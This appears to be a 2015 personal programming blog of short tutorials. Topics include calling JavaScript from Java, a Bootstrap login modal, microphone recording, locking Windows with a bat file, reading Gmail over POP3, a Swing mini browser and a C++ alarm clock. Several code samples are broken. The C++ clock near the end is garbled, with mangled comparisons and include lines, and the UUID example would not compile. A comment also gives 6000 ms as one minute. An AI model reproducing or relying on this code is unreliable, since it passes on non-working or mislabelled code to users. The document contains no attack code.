Tuesday, 29 December 2015

Run Javascript from Java.

This is an interface available part of java api. This should be implemented separately for every scripting languages. For javascript in the Oracle JDK (from 1.6) by default an implementation is available. Apache commons provides a project Jakarta Bean Scripting Framework (BSF) which gives implementation for a several set of scripting languages like Python, TCL, NetRexx including javascript and lot more.

here is code Example:

import javax.script.*;

public class JavaJavaScript {
 public static void main(String args[]) throws ScriptException {
     ScriptEngineManager manager = new ScriptEngineManager();
     ScriptEngine engine = manager.getEngineByName("javascript");

     engine.eval("var x = 10;");
     engine.eval("var y = 20;");
     engine.eval("var z = x + y;");
     engine.eval("print (z);");
 }
}

Tuesday, 22 December 2015

bootstrap login Window (one Page application)

<html lang="en">

<head>

<!-- Latest compiled and minified CSS -->
 <!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">

<!-- jQuery library -->

<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>

<!-- Latest compiled JavaScript -->

<script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
 <meta charset="utf-8">

<meta name="viewport" content="width=device-width, initial-scale=1">

</head>

<body>

<div class="container">

<div class="col-sm-12">

<a href="#"  class="btn btn-info btn-xs" data-toggle="modal" data-target="#myModal" >Edit</a>

</div>


<div class="modal fade" id="myModal" role="dialog">

    <div class="modal-dialog">

    

      <!-- Modal content-->

      <div class="modal-content">

        <div class="modal-header">

          <button type="button" class="close" data-dismiss="modal">&times;</button>

          <h4 class="modal-title">Lgin</h4>

        </div>

        <div class="modal-body">

        <!-- Your working area -->

        <div class="row">

       <div class="col-sm-3">&nbsp;</div>

       <div class="col-sm-3">UserName:</div>

       <div class="col-sm-3"><input type="text"  id="UserName"  /></div>

       <div class="col-sm-3">&nbsp;</div>

        </div>

        <div class="row">

       <div class="col-sm-3">&nbsp;</div>

       <div class="col-sm-3">Password:</div>

       <div class="col-sm-3"><input type="password"  id="password" /></div>

       <div class="col-sm-3">&nbsp;</div>

        </div>

        </div>

 

        <!-- Your working area -->

                </div>

        <div class="modal-footer">

          <button type="button" class="btn btn-default btn-xs" data-dismiss="modal" id="cls">Close</button>

           <button type="button" class="btn btn-info btn-xs"  id="lgin">Login</button>

        </div>

      </div>

      

    </div>

  </div>

  </div>

</body>

</html>

It looks as....

Sunday, 20 December 2015

How Capture Sound via pc microphone in java?

       

import javax.sound.sampled.*;
import java.io.*;


public class JavaSoundRecorder {
 // record duration, in milliseconds
 static final long RECORD_TIME = 6000; // 1 minute

 // path of the wav file
 File wavFile = new File("RecordAudio.wav");

 // format of audio file
 AudioFileFormat.Type fileType = AudioFileFormat.Type.WAVE;

 // the line from which audio data is captured
 TargetDataLine line;

 /**
  * Defines an audio format
  */
 AudioFormat getAudioFormat() {
  float sampleRate = 8000.0F;//8000,11025,16000,22050,44100
  int sampleSizeInBits = 16;
  int channels =1;
  boolean signed = true;
  boolean bigEndian = true;
  AudioFormat format = new AudioFormat(sampleRate, sampleSizeInBits,channels, signed, bigEndian);
  return format;
 }

 /**
  * Captures the sound and record into a WAV file
  */
 void start() {
  try {
   AudioFormat format = getAudioFormat();
   DataLine.Info info = new DataLine.Info(TargetDataLine.class, format);

   // checks if system supports the data line
   if (!AudioSystem.isLineSupported(info)) {
    System.out.println("Line not supported");
    System.exit(0);
   }
   line = (TargetDataLine) AudioSystem.getLine(info);
   line.open(format);
   line.start(); // start capturing

   System.out.println("Start capturing...");

   AudioInputStream ais = new AudioInputStream(line);

   System.out.println("Start recording...");

   // start recording
   AudioSystem.write(ais, fileType, wavFile);

  } catch (LineUnavailableException ex) {
   ex.printStackTrace();
  } catch (IOException ioe) {
   ioe.printStackTrace();
  }
 }

 /**
  * Closes the target data line to finish capturing and recording
  */
 void finish() {
  line.stop();
  line.close();
  System.out.println("Finished");
 }

 /**
  * Entry to run the program
  */
 public static void main(String[] args) {
  final JavaSoundRecorder recorder = new JavaSoundRecorder();

  // creates a new thread that waits for a specified
  // of time before stopping
  Thread stopper = new Thread(new Runnable() {
   public void run() {
    try {
     Thread.sleep(RECORD_TIME);
    } catch (InterruptedException ex) {
     ex.printStackTrace();
    }
    recorder.finish();
   }
  });

  stopper.start();

  // start recording
  recorder.start();
 }
}

 

Friday, 11 December 2015

How to lock your pc using bat file ?

Open notepad and write flowing code 

rundll32.exe user32.dll, LockWorkStation

and save it to  lock.bat .After saving the file  click on file to execute it.It will luck your computer.

Thursday, 3 December 2015

4 digit Random Number generation in java.


import java.util.*;
public class test {
   public static void main(String[] args) {
   creating UUID      
   UUID uid = new UUID();     
   HashSet hs=new HashSet();
     
   // checking the value of random UUID

  for(int i=1;i<1000;i++){
   //System.out.println("Random UUID value: "+UUID.randomUUID().toString());   
    
    Random r=new Random();
    String st[]=new Integer(r.nextInt(i)).toString().split("");
   String s[]=UUID.randomUUID().toString().split("-");
   System.out.println(UUID.randomUUID());
   System.out.println(s[1].replaceAll("[^0-9]","1"+st[0])); 
   hs.add(s[1].replaceAll("[^0-9]","1"+st[0]));
  
   }
       
  System.out.println(hs.size()+".............................");
}
}

  

Monday, 30 November 2015

How to Show ppt or PowerPoint presentation in Html without using Flash.

We use Google api to Show ppt..


<iframe src="http://docs.google.com/gview?url=www.cse.wustl.edu/~cdgill/courses/cs6785/Java_NIO.ppt&embedded=true" style="width:600px; height:500px;" frameborder="0">
<!--
 url=example.com/name.ppt  
You have to place  your url in case of "example.com/name.ppt  "
-->
</iframe>

It will Show as..

How to Use garbage collection in java?

import java.util.*;

 class GarbageCollection{  

 public static void main(String s[]) throws Exception  

 {      Runtime rs =  Runtime.getRuntime();

  System.out.println("Free memory in JVM before Garbage Collection = "+rs.freeMemory()); 

     rs.gc();//garbage collection    

  System.out.println("Free memory in JVM after Garbage Collection = "+rs.freeMemory()); 
//We can also use 
System.gc();

  }}

Friday, 27 November 2015

POJO to JSON and JSON to POJO useing GSON api.

       
//POJO
package com.trail;

public class DataDTO {
 
 String name;
 String role;
 String ID;
 public String getName() {
  return name;
 }
 public void setName(String name) {
  this.name = name;
 }
 public String getRole() {
  return role;
 }
 public void setRole(String role) {
  this.role = role;
 }
 public String getID() {
  return ID;
 }
 public void setID(String iD) {
  ID = iD;
 }
 

}


Impl class..

       
package com.trail;

import com.google.gson.Gson;

public class TrailMain {

 public static void main(String args[]){
  
 DataDTO dataDTO=new DataDTO();
 //set data in POJO
 
 dataDTO.setID("1011");
 dataDTO.setName("Sky");
 dataDTO.setRole("Student");
 
 //make it to the JSON String By  useing GSON API
 Gson gson=new Gson();
 String jsonString=gson.toJson(dataDTO);
 
 /*
  * String jsonString contain the JSON data
  * like-{"name":"Sky","role":"Student","ID":"1011"}
  * */
  System.out.println(jsonString);
  
  
  //get data in POJO from JSON String
  
  DataDTO dataDTO2=gson.fromJson(jsonString,DataDTO.class);
 System.out.println(dataDTO2.getID());
 System.out.println(dataDTO2.getName());
 System.out.println(dataDTO2.getRole());
  
  
  
 }
 
 
}

set Gson.jar in classpath and Compile these code..It will Show Out put in Console

It will ....

Tuesday, 3 November 2015

How to make Image to String like Base64 encryption in javcascript ?

<input type="file" onchange="imgLoad()"><br>
<img src="" height="200" alt="Image preview...">

<script>
function imgLoad(){
var p=document.querySelector('img');
var f=document.querySelector('input[type=file]').files[0];
var read=new FileReader();
read.onloadend=function(){
p.src=read.result;
alert(read.result)
}

if(f){
read.readAsDataURL(f);
}

}

</script>

Example....


Image preview...

Wednesday, 14 October 2015

how to get location of end user by useing JQUERY?

Here i use GeoLite Data base.
In program i use a cdn to get location.
This program return JSON Object which Contain location releted information.


       

<pre class="lang:js"><script type="text/javascript" src="https://js.maxmind.com/js/apis/geoip2/v2.1/geoip2.js"></script>
 
<script type="text/javascript">
 
var onSuccess = function(location){
  alert(
      "Lookup successful:\n\n"
      + JSON.stringify(location, undefined, 4)
  );
  alert( JSON.stringify(location));
};
 
var onError = function(error){
  alert(
      "Error:\n\n"
      + JSON.stringify(error, undefined, 4)
  );
};
 
geoip2.city(onSuccess, onError);
 
</script></pre>
 

Thursday, 1 October 2015

How to receive Mail from Gmail in java ?

import com.jscape.inet.email.EmailMessage;
import com.jscape.inet.popssl.PopSsl;

public class SecurePOPMail {

   public static void main(String[] args) {
   
   
   // and other services will be similar.
      String hostname = "pop.gmail.com";
      String username = "sky33616@gmail.com";   // These lines are your Gmail or Hotmail login
      String password = "XXXXXXXXXX";//Your Password 

   String msgSubject; // Various parts of an EmailMessage
   String msgFrom;
   String msgTo;
   String msgDate;
   String msgBody;
   // Other receivers of this message. "CC" is "carbon copy", if you didn't know, and 
   // "BCC" is "blind carbon copy". When was the last time you saw carbon paper?
   String msgCC; 
   String msgBCC;
   
      try {
         // Create new PopSsl instance and establish the connection to the POP3 server. "995" is 
   // the port number and triggers "implicit" SSL/TLS encryption for the whole message.
         PopSsl ssl = new PopSsl(hostname, 995, username, password);
         ssl.setDebug(true);
         ssl.connect();

         // Get the message count, then print selected parts of each message.
         int count = ssl.getMessageCount();
         for(int i = 1; i <= count; ++i) {
            // Create an EmailMessage instance, then get all the parts separately.
   EmailMessage msg = ssl.getMessage(i);
   msgSubject = msg.getSubject();
   msgFrom = msg.getFrom();
   msgTo = msg.getTo();
   msgDate = msg.getDate();
   msgBody = msg.getBody();
   msgCC = msg.getCc();
   msgBCC = msg.getBcc();

   // This is just to show that you can manipulate message parts. If the
   // Subject includes the word "work", don't print it, because
   // it's sure to be trouble for somebody!
   if (msgSubject.indexOf("work") <= 0) {
    System.out.println("Subject: " + msg.getSubject()); 
   } else {
    System.out.println("Subject: [You don't want to know]");
   }
   
   // Now print the message parts.
   System.out.println("------------------------");
   System.out.println("From: " + msg.getFrom());
   System.out.println("Date: " + msg.getDate());
   System.out.println("CC: " + msg.getCc());
   System.out.println("BCC: " + msg.getBcc());
   System.out.println("Body: " + msg.getBody());
   System.out.println("------------------------");
         }

         // Disconnect
         ssl.disconnect();     
      } catch(Exception e) {
         e.printStackTrace();
      }
   }
}

Download sinetfactory.jar from here

Set it on Your Classpath

Compile it & Run it As JAVA className

Monday, 28 September 2015

How to fetch values from multiple input element with same name in Jquery?

       
<script>
//for NormalFrom............................................................
    var NormalFrom="";
    $("input[name=NormalFrom]").each(function (){
     
NormalFrom=NormalFrom+$(this).attr("id")+"="+$(this).val()+"&";
    });
    
NormalFrom=NormalFrom.substring(0,NormalFrom.length-1);
    //alert(NormalFrom);</script>


<form>
<input type="text" class="form-control" placeholder="NormalFrom" title="NormalFrom" id="NormalFrom" name="NormalFrom">
<input type="text" class="form-control" placeholder="NormalFrom" title="NormalFrom" id="NormalFrom" name="NormalFrom">
<input type="text" class="form-control" placeholder="NormalFrom" title="NormalFrom" id="NormalFrom" name="NormalFrom">
</form>

Monday, 27 July 2015

How to fetch high definition photo in Lower size Using HTML Canvas ?

<!DOCTYPE HTML>
<html>
  <head>

    <style>
      body {
        margin: 0px;
        padding: 0px;
      }
    </style>
  </head>
  <body>
    <canvas id="myCanvas" width="578" height="200"></canvas>
    <script>
      var canvas = document.getElementById('myCanvas');
      var context = canvas.getContext('2d');
      var x = 188;
      var y = 30;
      var width = 140;
      var height = 137;
      var imageObj = new Image();

      imageObj.onload = function() {
        context.drawImage(imageObj, x, y, width, height);
      };
      imageObj.src = 'https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLY6YAS7bFg27wgNRl5Z4FMK3kKKv6O48zN57fmUUVHP0NKfLOI3Ra-GUSG4TWfWTJc3vrK2xvTfNCsag987tMYxkVnW66BYeU2iglQSwD4zF5zRMnIDXIv72weSFz11SJ3uhJNT7_1hy4/s1600/IMG_20141222_124322382.jpg';
    </script>
  </body>
</html>



It will Show as..



Tuesday, 21 July 2015

How to create Thumbnail image in Java?

Download thumbnailator-0.4.8.jar from link

then open cmd.exe

set classpath=.../thumbnailator-0.4.8.jar;.
 

Then run the folowing program....


       
/*
*Auther@jyotiprakash panigrahi
*/
import net.coobird.thumbnailator.*;
public class thumbnail
{
public static void main(String args[])throws Exception
{
Thumbnails.of("1.jpg")
        .size(250, 250)
        .toFile("thumbnail.jpg");
}
}

 

Tuesday, 2 June 2015

How to Read data from console without IO package in Java?

       

import java.util.*;
class a
{
public static void main(String args[])throws Exception
{Scanner snr= new Scanner(System.in);

String s=snr.nextLine();
char arr[]=s.toCharArray();

System.out.println(arr);





}
}

 

MiniBrowser in Java.

       

import java.awt.*;
import java.awt.event.*;
import java.net.*;
import java.util.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.text.html.*;

// The Simple Web Browser.
public class MiniBrowser extends JFrame
        
        implements HyperlinkListener {
    // These are the buttons for iterating through the page list.
    private JButton backButton, forwardButton;
    
    // Page location text field.
    private JTextField locationTextField;
    
    // Editor pane for displaying pages.
    private JEditorPane displayEditorPane;
    
    // Browser's list of pages that have been visited.
    private ArrayList pageList = new ArrayList();
    
    // Constructor for Mini Web Browser.
    public MiniBrowser() {
        // Set application title.
        super("Mini Browser");
        
        // Set window size.
        setSize(640, 480);
        
        // Handle closing events.
        addWindowListener(new WindowAdapter() {
            public void windowClosing(WindowEvent e) {
                actionExit();
            }
        });
        
        // Set up file menu.
        JMenuBar menuBar = new JMenuBar();
        JMenu fileMenu = new JMenu("File");
        fileMenu.setMnemonic(KeyEvent.VK_F);
        JMenuItem fileExitMenuItem = new JMenuItem("Exit",
                KeyEvent.VK_X);
        fileExitMenuItem.addActionListener(new ActionListener() {
            public void actionPerformed(ActionEvent e) {
                actionExit();
            }
        });
        fileMenu.add(fileExitMenuItem);
        menuBar.add(fileMenu);
        setJMenuBar(menuBar);
        
        // Set up button panel.
        JPanel buttonPanel = new JPanel();
        backButton = new JButton("< Back");
        backButton.addActionListener(new ActionListener() {
            public void actionPerformed(ActionEvent e) {
                actionBack();
            }
        });
        backButton.setEnabled(false);
        buttonPanel.add(backButton);
        forwardButton = new JButton("Forward >");
        forwardButton.addActionListener(new ActionListener() {
            public void actionPerformed(ActionEvent e) {
                actionForward();
            }
        });
        forwardButton.setEnabled(false);
        buttonPanel.add(forwardButton);
        locationTextField = new JTextField(35);
        locationTextField.addKeyListener(new KeyAdapter() {
            public void keyReleased(KeyEvent e) {
                if (e.getKeyCode() == KeyEvent.VK_ENTER) {
                    actionGo();
                }
            }
        });
        buttonPanel.add(locationTextField);
        JButton goButton = new JButton("GO");
        goButton.addActionListener(new ActionListener() {
            public void actionPerformed(ActionEvent e) {
                actionGo();
            }
        });
        buttonPanel.add(goButton);
        
        // Set up page display.
        displayEditorPane = new JEditorPane();
        displayEditorPane.setContentType("text/html");
       displayEditorPane.setEditable(false);
        displayEditorPane.addHyperlinkListener(this);
        
        getContentPane().setLayout(new BorderLayout());
        getContentPane().add(buttonPanel, BorderLayout.NORTH);
        getContentPane().add(new JScrollPane(displayEditorPane),
                BorderLayout.CENTER);
    }
    
    // Exit this program.
    private void actionExit() {
        System.exit(0);
    }
    
    // Go back to the page viewed before the current page.
    private void actionBack() {
        URL currentUrl = displayEditorPane.getPage();
        int pageIndex = pageList.indexOf(currentUrl.toString());
        try {
            showPage(
                    new URL((String) pageList.get(pageIndex - 1)), false);
        } catch (Exception e) {}
    }
    
    // Go forward to the page viewed after the current page.
    private void actionForward() {
        URL currentUrl = displayEditorPane.getPage();
        int pageIndex = pageList.indexOf(currentUrl.toString());
        try {
            showPage(
                    new URL((String) pageList.get(pageIndex + 1)), false);
        } catch (Exception e) {}
    }
    
    // Load and show the page specified in the location text field.
    private void actionGo() {
        URL verifiedUrl = verifyUrl(locationTextField.getText());
        if (verifiedUrl != null) {
            showPage(verifiedUrl, true);
        } else {
            showError("Invalid URL");
        }
    }
    
    // Show dialog box with error message.
    private void showError(String errorMessage) {
        JOptionPane.showMessageDialog(this, errorMessage,
                "Error", JOptionPane.ERROR_MESSAGE);
    }
    
    // Verify URL format.
    private URL verifyUrl(String url) {
        // Only allow HTTP URLs.
        if (!url.toLowerCase().startsWith("http://"))
            return null;
        
        // Verify format of URL.
        URL verifiedUrl = null;
        try {
            verifiedUrl = new URL(url);
        } catch (Exception e) {
            return null;
        }
        
        return verifiedUrl;
    }
    
  /* Show the specified page and add it to
     the page list if specified. */
    private void showPage(URL pageUrl, boolean addToList) {
        // Show hour glass cursor while crawling is under way.
        setCursor(Cursor.getPredefinedCursor(Cursor.WAIT_CURSOR));
        
        try {
            // Get URL of page currently being displayed.
            URL currentUrl = displayEditorPane.getPage();
            
            // Load and display specified page.
            displayEditorPane.setPage(pageUrl);
            
            // Get URL of new page being displayed.
            URL newUrl = displayEditorPane.getPage();
            
            // Add page to list if specified.
            if (addToList) {
                int listSize = pageList.size();
                if (listSize > 0) {
                    int pageIndex =
                            pageList.indexOf(currentUrl.toString());
                    if (pageIndex < listSize - 1) {
                        for (int i = listSize - 1; i > pageIndex; i--) {
                            pageList.remove(i);
                        }
                    }
                }
                pageList.add(newUrl.toString());
            }
            
            // Update location text field with URL of current page.
            locationTextField.setText(newUrl.toString());
            
            // Update buttons based on the page being displayed.
            updateButtons();
        } catch (Exception e) {
            // Show error messsage.
            showError("Unable to load page");
        } finally {
            // Return to default cursor.
            setCursor(Cursor.getDefaultCursor());
        }
    }
    
  /* Update back and forward buttons based on
     the page being displayed. */
    private void updateButtons() {
        if (pageList.size() < 2) {
            backButton.setEnabled(false);
            forwardButton.setEnabled(false);
        } else {
            URL currentUrl = displayEditorPane.getPage();
            int pageIndex = pageList.indexOf(currentUrl.toString());
            backButton.setEnabled(pageIndex > 0);
            forwardButton.setEnabled(
                    pageIndex < (pageList.size() - 1));
        }
    }
    
    // Handle hyperlink's being clicked.
    public void hyperlinkUpdate(HyperlinkEvent event) {
        HyperlinkEvent.EventType eventType = event.getEventType();
        if (eventType == HyperlinkEvent.EventType.ACTIVATED) {
            if (event instanceof HTMLFrameHyperlinkEvent) {
                HTMLFrameHyperlinkEvent linkEvent =
                        (HTMLFrameHyperlinkEvent) event;
                HTMLDocument document =
                        (HTMLDocument) displayEditorPane.getDocument();
                document.processHTMLFrameHyperlinkEvent(linkEvent);
            } else {
                showPage(event.getURL(), true);
            }
        }
    }
    
    // Run the Mini Browser.
    public static void main(String[] args) {
        MiniBrowser browser = new MiniBrowser();
        browser.show();
    }
}
 

How to Execute a Java Program by Cprogram?

it can be use as a .exe luncher of awt swing program..
it work in windows only!!
compile this by javac document.java

       
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class Document extends JFrame implements ActionListener
{
private JTextArea ta;
private int count;
private JMenuBar menuBar;
private JMenu fileM,editM,viewM;
private JScrollPane scpane;
private JMenuItem exitI,cutI,copyI,pasteI,selectI,saveI,loadI,statusI;
private String pad;
private JToolBar toolBar;
public Document()
{
    super("Document");
    setSize(600, 600);
    setLocationRelativeTo(null);
    setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    Container pane = getContentPane();
    pane.setLayout(new BorderLayout());

    count = 0;
    pad = " ";
    ta = new JTextArea(); //textarea
    menuBar = new JMenuBar(); //menubar
    fileM = new JMenu("File"); //file menu
    editM = new JMenu("Edit"); //edit menu
    viewM = new JMenu("View"); //edit menu
    scpane = new JScrollPane(ta); //scrollpane  and add textarea to scrollpane
    exitI = new JMenuItem("Exit");
    cutI = new JMenuItem("Cut");
    copyI = new JMenuItem("Copy");
    pasteI = new JMenuItem("Paste");
    selectI = new JMenuItem("Select All"); //menuitems
    saveI = new JMenuItem("Save"); //menuitems
    loadI = new JMenuItem("Load"); //menuitems
    statusI = new JMenuItem("Status"); //menuitems
    toolBar = new JToolBar();

    ta.setLineWrap(true);
    ta.setWrapStyleWord(true);

    setJMenuBar(menuBar);
    menuBar.add(fileM);
    menuBar.add(editM);
    menuBar.add(viewM);

    fileM.add(saveI);
    fileM.add(loadI);
    fileM.add(exitI);

    editM.add(cutI);
    editM.add(copyI);
    editM.add(pasteI);        
    editM.add(selectI);

    viewM.add(statusI);

    saveI.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_S, ActionEvent.CTRL_MASK));
    loadI.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_L, ActionEvent.CTRL_MASK));
    cutI.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_X, ActionEvent.CTRL_MASK));
    copyI.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_C, ActionEvent.CTRL_MASK));
    pasteI.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_V, ActionEvent.CTRL_MASK));
    selectI.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_A, ActionEvent.CTRL_MASK));

    pane.add(scpane,BorderLayout.CENTER);
    pane.add(toolBar,BorderLayout.SOUTH);

    saveI.addActionListener(this);
    loadI.addActionListener(this);
    exitI.addActionListener(this);
    cutI.addActionListener(this);
    copyI.addActionListener(this);
    pasteI.addActionListener(this);
    selectI.addActionListener(this);
    statusI.addActionListener(this);

    setVisible(true);
}
public void actionPerformed(ActionEvent e) 
{
    JMenuItem choice = (JMenuItem) e.getSource();
    if (choice == saveI)
    {
        //not yet implmented
    }
    else if (choice == exitI)
        System.exit(0);
    else if (choice == cutI)
    {
        pad = ta.getSelectedText();
        ta.replaceRange("", ta.getSelectionStart(), ta.getSelectionEnd());
    }
    else if (choice == copyI)
        pad = ta.getSelectedText();
    else if (choice == pasteI)
        ta.insert(pad, ta.getCaretPosition());
    else if (choice == selectI)
        ta.selectAll();
    else if (e.getSource() == statusI)
    {
        //not yet implmented
    }
}
public static void main(String[] args) 
{
    new Document();
}
}

 

Compile this C program by gcc compiler in windows.
Run .exe file Which will work as a luncher of Document.class.

       
#include stdio.h
main()
{
system("java Document");
}

 

How to Record Audio in Java?

       
import javax.sound.sampled.*;
import java.io.*;

public class JavaSoundRecorder {
 // record duration, in milliseconds
 static final long RECORD_TIME = 6000; // 1 minute

 // path of the wav file
 File wavFile = new File("RecordAudio.wav");

 // format of audio file
 AudioFileFormat.Type fileType = AudioFileFormat.Type.WAVE;

 // the line from which audio data is captured
 TargetDataLine line;

 /**
  * Defines an audio format
  */
 AudioFormat getAudioFormat() {
  float sampleRate = 8000.0F;//8000,11025,16000,22050,44100
  int sampleSizeInBits = 16;
  int channels =1;
  boolean signed = true;
  boolean bigEndian = true;
  AudioFormat format = new AudioFormat(sampleRate, sampleSizeInBits,channels, signed, bigEndian);
  return format;
 }

 /**
  * Captures the sound and record into a WAV file
  */
 void start() {
  try {
   AudioFormat format = getAudioFormat();
   DataLine.Info info = new DataLine.Info(TargetDataLine.class, format);

   // checks if system supports the data line
   if (!AudioSystem.isLineSupported(info)) {
    System.out.println("Line not supported");
    System.exit(0);
   }
   line = (TargetDataLine) AudioSystem.getLine(info);
   line.open(format);
   line.start(); // start capturing

   System.out.println("Start capturing...");

   AudioInputStream ais = new AudioInputStream(line);

   System.out.println("Start recording...");

   // start recording
   AudioSystem.write(ais, fileType, wavFile);

  } catch (LineUnavailableException ex) {
   ex.printStackTrace();
  } catch (IOException ioe) {
   ioe.printStackTrace();
  }
 }

 /**
  * Closes the target data line to finish capturing and recording
  */
 void finish() {
  line.stop();
  line.close();
  System.out.println("Finished");
 }

 /**
  * Entry to run the program
  */
 public static void main(String[] args) {
  final JavaSoundRecorder recorder = new JavaSoundRecorder();

  // creates a new thread that waits for a specified
  // of time before stopping
  Thread stopper = new Thread(new Runnable() {
   public void run() {
    try {
     Thread.sleep(RECORD_TIME);
    } catch (InterruptedException ex) {
     ex.printStackTrace();
    }
    recorder.finish();
   }
  });

  stopper.start();

  // start recording
  recorder.start();
 }
}
 

Saturday, 30 May 2015

How generate Text to speech in Java?

DownLoad Freetts1.2 java Api....here and execute the jspi.exe in lib folder of freetts api.

Then start cmd and type..
set classpath=.../freetts1.2/lib/freetts.jar;.

Compile the folling code and place your String in command line argument to speak..


       


import com.sun.speech.freetts.FreeTTS;
import com.sun.speech.freetts.Voice;
import com.sun.speech.freetts.VoiceManager;
import com.sun.speech.freetts.audio.SingleFileAudioPlayer;
import java.io.FileInputStream;
import com.sun.speech.freetts.*;


public class MainSpeak {


public static void   speaking(String str){
 Voice voice;
 FreeTTS freetts;

 voice=VoiceManager.getInstance().getVoice("kevin16");
 if(voice!=null)
 {
 voice.allocate();
 }
 freetts=new FreeTTS(voice);
 voice.speak(str);
 
 
 }
public static void main(String[] args)throws Exception {

 MainSpeak m1=new MainSpeak();
 
 m1.speaking(args[0]);
 
}

}

 

Friday, 22 May 2015

Clock application in c/c++ which doesnot use System time?

       
#include iostream >
#include conio.h >
#include stdio.h >
#include stdlib.h >
#include windows.h >
using namespace std;
void clocks();
void reset();
void alrm();
void slp();
void welcome();
int main()
{int t;
    system("pause");
    system("cls");
   welcome();  
   system("cls");
   
    clocks();
  
    return 0;
}
void clocks()
{
    int i,j=0,k=0,x,y,z,l,m,n;
    cout<<"do you want to set the clock";
    cout<<"\n\n1. for set__\n2.for exit from application___\n3.hibernating clock __\n\n\t\tENTER THE CHOICE____: ";
    cin>>x;
    switch(x)
    {
             case 1:
                  
     {
       cout<<"Enter your alrm :) ";
      ShellExecute(NULL,NULL,"C:\\mr.sky_2.0\\alm tone\\sexiest_romantic_mp3.mp3",NULL,NULL,SW_SHOW);    
          
      cout<<"\nHour:)";
      cin>>x;
          cout<<"\a";
      if(x>24)
      {
             reset();
                 cout<<"\a       \t";
             }
       cout<<"\nMinue:)";
       cin>>y;
           cout<<"\a";
       if(y>59)
       {
               reset();
                   cout<<"\a       \t";
               }
         cout<<"\nSec:)";
         cin>>z;
             cout<<"\a";
         if(z>59)
         {
                 reset();
                     cout<<"\a       \t";
                 }
        
     
                  cout<<"hh \t";
                      cout<<"\a";
                   cout<<"mm \t";
                    cout<<"\a";   
                      cout<<"s\n ";
                      cout<<"0\t0\t0\n\n\n";
                  
            cout<<"hour\t=";
                    cout<<"\a";
            cin>>k;
            if(k>25)
            {
                    cout<<"hmm";
                    reset();
                    }
            cout<<"minute\t=";
                cout<<"\a";
            cin>>j;
            if(j>59)
            {
                    reset();
                    }
            cout<<"sec\t=";
                cout<<"\a";
            cin>>i;
            system("cls");
     cout << " sucses  mr. sky\n";
    cout<<"\a\a";
    for(;i<61;i++)
    {
 Sleep(1000);

 //cout << " \a";

system("cls");
cout<<"\n\n\n\n\n\n\n\n\n";
cout<<"  \t|**-----------------------------------**|\n";
cout<<"\t|   hh\t";
cout<<"  \tmm\t";
cout<<"\ts       |\n";

cout<<"\t|   ";
cout<=59)
{
           j++;
         // cout<=60)
           {
               k++;
               j=0;
              // cout<=25)
{
         k=1;
         l++;
         }
      
   
    
                     
               if(j==y&&k==x&&i==z)
    {
                    Sleep(300); 
                     cout<<" \n\n\n\nalrm.......\a";
                     alrm();
}       
}
case 2:
     system("cls");
     cout<<"\n\n\n\n\n\n\t\t\t\t EXIT";
     ShellExecute(NULL,NULL,"C:\\mr.sky_2.0\\alm tone\\Krissh_Rythem.mp3",NULL,NULL,SW_SHOW);
     Sleep(4000);
     exit(0);
     }
     case 3:
        
            slp();  
          
     
     
defult :
       {
      system("cls");
       
       cout<< "\n\n\n\n\a \n\n\n\t\t\t\tENTER VALID";
        ShellExecute(NULL,NULL,"C:\\mr.sky_2.0\\alm tone\\text_alert.mp3",NULL,NULL,SW_SHOW);
        Sleep(3000);
          
         system("cls");
          cout<<"LORDING.\a...";
          Sleep(1000);
           system("cls");
        clocks();
       
       
    getch(); 
    //return 0;
}   
}
}



void reset()
{
     system("cls");
       
       cout<< "\n\n\n\n\a \n\n\n\t\t\t\tENTER VALID";
        Sleep(3000);
        ShellExecute(NULL,NULL,"C:\\mr.sky_2.0\\alm tone\\aaa.mp3",NULL,NULL,SW_SHOW); 
         ShellExecute(NULL,NULL,"C:\\mr.sky_2.0\\alm tone\\aaa.mp3",NULL,NULL,SW_SHOW);
         system("cls");
          cout<<"LORDING.\a...";
          Sleep(1000);
           system("cls");
        clocks();
        }
      
void alrm()
{int s;
     for(s=0;s<1;s++)
     {
                       if(s%2==0)
                       {
                   
                       //cout<<"\a\a\a";
                    // ShellExecute(NULL,NULL,"D:\\mr.sky\\alm tone\\Koyi  milga.amr",NULL,NULL,SW_SHOW); 
                     ShellExecute(NULL,NULL,"C:\\mr.sky_2.0\\alm tone\\(R)Kash Ek Din Aisa Bhi.mp3",NULL,NULL,SW_SHOW);
                         Sleep(3000);
                         //system("pause");
                       }
                       }
                       }
void welcome()
{   int t;
      cout<<" \n\n\n\n\n\n\n\t\t\t\tWELCOME";
       Sleep(2000);
      
       
       
     ShellExecute(NULL,NULL,"C:\\mr.sky_2.0\\alm tone\\welcome.mp3",NULL,NULL,SW_SHOW);

   
            
     }
 void slp()
 {
      system("cls");
       int i,j=0,k=0,x,y,z,l,m,n;
    cout<<"please set time--";
    cout<<"\n\n1. for set__sleeping tiMe:)\n\n\n\n\t\tENTER THE CHOICE__: ";
    cin>>x;
    switch(x)
    {
             case 1:
                  
     {
       cout<<"Enter your switch off time'..'";
      ShellExecute(NULL,NULL,"C:\\mr.sky_2.0\\alm tone\\sexiest_romantic_mp3.mp3",NULL,NULL,SW_SHOW);    
          
      cout<<"\nHour:)";
      cin>>x;
          cout<<"\a";
      if(x>24)
      {
             reset();
                 cout<<"\a       \t";
             }
       cout<<"\nMinue:)";
       cin>>y;
           cout<<"\a";
       if(y>59)
       {
               reset();
                   cout<<"\a       \t";
               }
         cout<<"\nSec:)";
         cin>>z;
             cout<<"\a";
         if(z>59)
         {
                 reset();
                     cout<<"\a       \t";
                 }
        
     
                  cout<<"hh \t";
                      cout<<"\a";
                   cout<<"mm \t";
                    cout<<"\a";   
                      cout<<"s\n ";
                      cout<<"0\t0\t0\n\n\n";
                  
            cout<<"hour\t=";
                    cout<<"\a";
            cin>>k;
